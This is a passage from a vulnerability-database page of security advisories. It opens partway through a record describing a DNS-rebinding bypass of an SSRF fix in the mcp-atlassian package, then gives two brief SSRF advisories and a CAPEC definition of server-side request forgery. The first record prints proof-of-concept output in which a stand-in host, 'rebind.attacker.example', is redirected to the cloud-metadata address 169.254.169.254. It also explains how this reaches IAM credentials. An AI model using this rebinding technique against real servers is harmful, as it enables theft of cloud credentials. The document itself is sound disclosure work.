`servers/dependencies.py`, HEAD `ba72540` (PyPI `mcp-atlassian`, patched \u22650.17.0). **CWE-918** (SSRF) via **CWE-367** (TOCTOU).\n\n### Vulnerable code\n`utils/urls.py` `validate_url_for_ssrf` (\u2248184-205) resolves + validates, then returns a **string verdict, not a pinned IP**:\n```python\ndef validate_url_for_ssrf(url: str) -\u003e str | None:   # returns an error string or None \u2014 NO IP is pinned\n    ...\n    # resolves the host, checks each resolved IP is global, then DISCARDS the IP\n```\n`servers/main.py:526,534` calls it once in middleware. `servers/dependencies.py:544-561` then builds the fetcher with `url = \u003craw header hostname\u003e` (no pinned IP, no custom resolver / cached-getaddrinfo adapter), so the actual request re-resolves the name.\n\n### PoC (executed \u2014 boundary demonstration)\nThe PoC loads the **real** `urls.py` by path (`importlib`, `sha256` printed) and drives the genuine `validate_url_for_ssrf`, simulating the two resolutions via `getaddrinfo`:\n```\n[CHECK ] validate_url_for_ssrf(\u0027http://rebind.attacker.example\u0027) -\u003e None        (getaddrinfo#1 = 93.184.216.34 global -\u003e guard PASSED)\n[CONNECT] getaddrinfo call #2 returned 169.254.169.254 -\u003e the socket connects HERE\n[PROOF ] guard validated IP 93.184.216.34 but connection targets 169.254.169.254  =\u003e SSRF on the PATCHED build\n[CONTROL] if guard SAW 169.254.169.254 at check time -\u003e blocks it correctly\n[PIN   ] validate_url_for_ssrf returns a verdict (None), NOT an IP; dependencies.py builds url=raw hostname -\u003e NO pin\nALL PoC ASSERTIONS PASSED \u2014 DNS-rebind TOCTOU bypass demonstrated.\n```\n**Honest scope of the PoC:** this is a **boundary** demonstration \u2014 it proves the structural TOCTOU (the guard validates an IP it then discards; the connection re-resolves an unpinned hostname). It does **not** demonstrate a live end-to-end SSRF on a running server; that additionally requires an attacker-controlled fast-rebinding authoritative DNS responder winning the resolve\u2192connect window. Flagging this explicitly rather than overclaiming.\n\n### Impact\nSame as parent GHSA-7r34 (unauth read of cloud-metadata IAM creds / internal-service reach), reachable again on the patched version. The `X-Atlassian-*-Url` headers are processed in `UserTokenMiddleware` before fetcher creation, so an unauthenticated/low-priv caller controls the host.\n\n### Severity\n**High \u2014 CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` \u2248 7.x**, aligned to the parent (8.2) with `AC:H` for the rebinding-race precondition. Honest caveat (above): the executed PoC proves the missing IP-pin structurally; a live exploit additionally needs an attacker rebinding-DNS. Not Critical.\n\n### Remediation\nPin the connection to the IP that `validate_url_for_ssrf` validated: use a custom resolver / cached-`getaddrinfo` `requests`-adapter (or pass the validated IP with a `Host` header), so the connect cannot re-resolve to a different address.\n\n### Dedup / freshness (re-verified live 2026-06-27)\nAdvisories `GHSA-7r34-79r5-rcc9` (original header SSRF this bypasses) + `GHSA-xjgw-4wvw-rgm4` (file-write, unrelated). Neither covers connect-time re-resolution / rebinding. PR [#986](https://github.com/sooperset/mcp-atlassian/pull/986)/[#1005](https://github.com/sooperset/mcp-atlassian/pull/1005) (the fix) add a single middleware-time resolve + allowlist DNS-skip, no pinning. `gh search prs/issues` for rebind/TOCTOU/getaddrinfo/pin \u2192 0. First-party code. **Fresh** at HEAD `ba72540`.",
  "id": "GHSA-489g-7rxv-6c8q",
  "modified": "2026-07-10T18:01:22Z",
  "published": "2026-07-10T18:01:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-489g-7rxv-6c8q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: DNS-rebinding TOCTOU bypass of the SSRF fix (CVE-2026-27826)"
}

GHSA-48R8-6RWX-4HC4

Vulnerability from github – Published: 2023-08-02 06:30 – Updated: 2024-04-04 06:29
VLAI
Details

In affected versions of Octopus Deploy it is possible for a low privileged guest user to craft a request that allows enumeration/recon of an environment.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-02T06:15:10Z",
    "severity": "MODERATE"
  },
  "details": "In affected versions of Octopus Deploy it is possible for a low privileged guest user to craft a request that allows enumeration/recon of an environment.",
  "id": "GHSA-48r8-6rwx-4hc4",
  "modified": "2024-04-04T06:29:28Z",
  "published": "2023-08-02T06:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2416"
    },
    {
      "type": "WEB",
      "url": "https://advisories.octopus.com/post/2023/sa2023-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4954-R44G-WX43

Vulnerability from github – Published: 2022-05-14 00:58 – Updated: 2022-05-14 00:58
VLAI
Details

upload.php in Responsive FileManager 9.13.1 allows SSRF via the url parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-14728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-03T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "upload.php in Responsive FileManager 9.13.1 allows SSRF via the url parameter.",
  "id": "GHSA-4954-r44g-wx43",
  "modified": "2022-05-14T00:58:08Z",
  "published": "2022-05-14T00:58:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14728"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45103"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.